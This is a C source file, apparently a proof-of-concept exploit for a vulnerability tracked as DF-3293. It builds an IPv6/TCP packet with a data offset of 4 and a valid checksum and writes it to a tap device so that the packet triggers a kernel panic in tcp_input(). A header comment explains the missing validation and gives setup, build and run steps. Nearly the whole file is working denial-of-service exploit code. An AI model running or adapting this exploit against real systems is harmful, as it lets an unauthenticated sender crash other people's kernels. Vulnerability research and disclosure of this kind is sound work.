DF-3293 / tcp_off6.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 | /* * DF-3293 PoC A - Unauthenticated remote panic: IPv6 TCP segment with * data-offset (th_off) < 5 reaches tcp_input() with no runtime validation. * * tcp_input.c:764-768: * off = th->th_off << 2; * KASSERT(off >= sizeof(struct tcphdr) && off <= tlen, ...); // INVARIANTS only * tlen -= off; * * Nothing on the IPv6 path (ip6_input plen checks, tcp6_input pullup of the * 20-byte base header) validates th_off against the segment length, so a * single crafted IPv6/TCP packet with th_off=4 panics any INVARIANTS kernel * (the default X86_64_GENERIC ships with INVARIANTS) *before* pcb lookup - * no listener, no connection, no preconditions beyond IPv6 being enabled. * * Injection: writing a raw ethernet frame to the tap(4) character device * hands it to ether_input() exactly like a wire-received packet * (sys/net/tap/if_tap.c:tapwrite). * * Setup (root): ifconfig tap0 create; ifconfig tap0 up; * ifconfig tap0 inet6 fd00::16/64 * Build: cc -O -o tcp_off6 tcp_off6.c * Run: ./tcp_off6 */ #include <sys/types.h> #include <sys/socket.h> #include <sys/ioctl.h> #include <net/bpf.h> #include <net/if.h> #include <net/ethernet.h> #include <net/if_dl.h> #include <netinet/in.h> #include <netinet/ip6.h> #include <netinet/tcp.h> #include <fcntl.h> #include <stdio.h> #include <string.h> #include <stdlib.h> #include <unistd.h> #include <errno.h> #include <arpa/inet.h> struct ip6_pseudo { struct in6_addr src, dst; u_int32_t plen; u_int8_t zero[3]; u_int8_t nxt; }; static u_int16_t cksum(const u_int16_t *w, int len) { u_int32_t sum = 0; while (len > 1) { sum += *w++; len -= 2; } if (len == 1) sum += *(const u_char *)w; while (sum >> 16) sum = (sum & 0xffff) + (sum >> 16); return (u_int16_t)~sum; } static int parse_mac(const char *s, u_char *out) { return sscanf(s, "%2hhx:%2hhx:%2hhx:%2hhx:%2hhx:%2hhx", &out[0], &out[1], &out[2], &out[3], &out[4], &out[5]) == 6; } int main(int argc, char **argv) { unsigned char pkt[sizeof(struct ether_header) + 40 + 20]; u_char tapmac[ETHER_ADDR_LEN]; struct ether_header *eh; struct ip6_hdr *ip6; struct tcphdr *th; struct ip6_pseudo ph; struct ifreq ifr; int fd, n, one = 1; if (argc != 1) { fprintf(stderr, "usage: %s\n", argv[0]); return 1; } fd = open("/dev/tap0", O_RDWR); if (fd < 0) { perror("open /dev/tap0"); return 1; } (void)one; /* tap0's MAC changes on every create - query it */ { struct sockaddr_dl *sdl; memset(&ifr, 0, sizeof(ifr)); if (ioctl(fd, SIOCGIFADDR, &ifr) < 0) { perror("SIOCGIFADDR"); return 1; } sdl = (struct sockaddr_dl *)&ifr.ifr_addr; memcpy(tapmac, LLADDR(sdl), ETHER_ADDR_LEN); } memset(pkt, 0, sizeof(pkt)); eh = (struct ether_header *)pkt; memcpy(eh->ether_dhost, tapmac, ETHER_ADDR_LEN); /* tap0 mac */ parse_mac("02:00:00:00:00:02", eh->ether_shost); eh->ether_type = htons(ETHERTYPE_IPV6); ip6 = (struct ip6_hdr *)(pkt + sizeof(struct ether_header)); ip6->ip6_flow = htonl(0x60000000); ip6->ip6_plen = htons(20); /* exactly one base TCP header */ ip6->ip6_nxt = IPPROTO_TCP; ip6->ip6_hlim = 64; if (inet_pton(AF_INET6, "fd00::2", &ip6->ip6_src) != 1) { perror("pton"); return 1; } if (inet_pton(AF_INET6, "fd00::16", &ip6->ip6_dst) != 1) { perror("pton"); return 1; } th = (struct tcphdr *)(pkt + sizeof(struct ether_header) + 40); th->th_sport = htons(40000); th->th_dport = htons(9999); /* closed port: panic happens pre-lookup */ th->th_seq = htonl(1); th->th_ack = htonl(0); th->th_off = 4; /* <== 16 bytes < sizeof(struct tcphdr) */ th->th_flags = TH_SYN; th->th_win = htons(8192); /* valid TCP checksum so tcp6_input()'s in6_cksum() passes */ memset(&ph, 0, sizeof(ph)); ph.src = ip6->ip6_src; ph.dst = ip6->ip6_dst; ph.plen = htonl(20); ph.nxt = IPPROTO_TCP; { unsigned char cc[40 + 20]; memset(cc, 0, sizeof(cc)); memcpy(cc, &ph, 40); memcpy(cc + 40, th, 20); th->th_sum = cksum((u_int16_t *)cc, sizeof(cc)); } n = write(fd, pkt, sizeof(pkt)); printf("wrote %d/%zu bytes to tap0 (expect kernel panic " "\"bad TCP data offset 16 (tlen 20)\")\n", n, sizeof(pkt)); if (n < 0) perror("write"); sleep(2); return 0; } |